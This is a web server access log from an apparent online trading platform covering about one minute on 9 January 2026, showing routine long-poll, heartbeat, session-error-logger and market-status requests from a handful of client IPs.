[09/Jan/2026:11:14:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928719099 HTTP/1.1" -
[09/Jan/2026:11:14:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928724500 HTTP/1.1" -
[09/Jan/2026:11:14:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928720604 HTTP/1.1" -
[09/Jan/2026:11:14:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928724136 HTTP/1.1" -
[09/Jan/2026:11:14:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928737227 HTTP/1.1" -
[09/Jan/2026:11:14:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928729637 HTTP/1.1" -
[09/Jan/2026:11:14:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928725678 HTTP/1.1" -
[09/Jan/2026:11:14:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:14:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:14:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:14:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:14:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:14:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:14:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:14:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:14:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928729168 HTTP/1.1" -
[09/Jan/2026:11:14:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928745237 HTTP/1.1" -
[09/Jan/2026:11:14:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:14:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:14:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928734827 HTTP/1.1" -
[09/Jan/2026:11:14:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928730747 HTTP/1.1" -
[09/Jan/2026:11:14:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928734200 HTTP/1.1" -
[09/Jan/2026:11:14:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:14:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:14:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928751236 HTTP/1.1" -
[09/Jan/2026:11:14:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928739873 HTTP/1.1" -
[09/Jan/2026:11:14:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928735854 HTTP/1.1" -
[09/Jan/2026:11:14:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928739217 HTTP/1.1" -
[09/Jan/2026:11:14:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928744944 HTTP/1.1" -
[09/Jan/2026:11:14:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928740925 HTTP/1.1" -
[09/Jan/2026:11:14:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928757235 HTTP/1.1" -
[09/Jan/2026:11:14:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928744249 HTTP/1.1" -
[09/Jan/2026:11:14:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928745949 HTTP/1.1" -
[09/Jan/2026:11:14:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928750075 HTTP/1.1" -
[09/Jan/2026:11:14:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:14:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:14:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:14:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928763330 HTTP/1.1" -
[09/Jan/2026:11:14:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:14:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928749281 HTTP/1.1" -
[09/Jan/2026:11:14:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928751020 HTTP/1.1" -
[09/Jan/2026:11:14:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928755235 HTTP/1.1" -
[09/Jan/2026:11:14:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928754299 HTTP/1.1" -
[09/Jan/2026:11:14:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928769235 HTTP/1.1" -
[09/Jan/2026:11:14:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928756115 HTTP/1.1" -
[09/Jan/2026:11:14:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928760374 HTTP/1.1" -
[09/Jan/2026:11:14:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:14:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:14:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:14:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:14:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:14:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:14:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:14:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:14:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928759328 HTTP/1.1" -
[09/Jan/2026:11:14:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928774282 HTTP/1.1" -
[09/Jan/2026:11:14:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:14:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:14:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928761200 HTTP/1.1" -
[09/Jan/2026:11:14:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928765537 HTTP/1.1" -
[09/Jan/2026:11:14:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928764348 HTTP/1.1" -
[09/Jan/2026:11:14:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928779345 HTTP/1.1" -
[09/Jan/2026:11:14:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:14:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:14:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928766225 HTTP/1.1" -
[09/Jan/2026:11:14:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928770586 HTTP/1.1" -
[09/Jan/2026:11:15:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928769374 HTTP/1.1" -
[09/Jan/2026:11:15:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928784405 HTTP/1.1" -
[09/Jan/2026:11:15:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928771262 HTTP/1.1" -
[09/Jan/2026:11:15:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928775721 HTTP/1.1" -
[09/Jan/2026:11:15:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928774394 HTTP/1.1" -
[09/Jan/2026:11:15:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928789427 HTTP/1.1" -
[09/Jan/2026:11:15:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928776332 HTTP/1.1" -
[09/Jan/2026:11:15:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928780835 HTTP/1.1" -
[09/Jan/2026:11:15:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:15:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:15:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:15:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:15:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928779421 HTTP/1.1" -
[09/Jan/2026:11:15:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928794490 HTTP/1.1" -
[09/Jan/2026:11:15:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928781394 HTTP/1.1" -
[09/Jan/2026:11:15:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928785992 HTTP/1.1" -
[09/Jan/2026:11:15:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928784453 HTTP/1.1" -
[09/Jan/2026:11:15:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928799513 HTTP/1.1" -
[09/Jan/2026:11:15:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928786483 HTTP/1.1" -
[09/Jan/2026:11:15:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:15:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:15:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:15:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:15:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:15:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:15:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:15:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:15:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928791221 HTTP/1.1" -
[09/Jan/2026:11:15:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928789483 HTTP/1.1" -
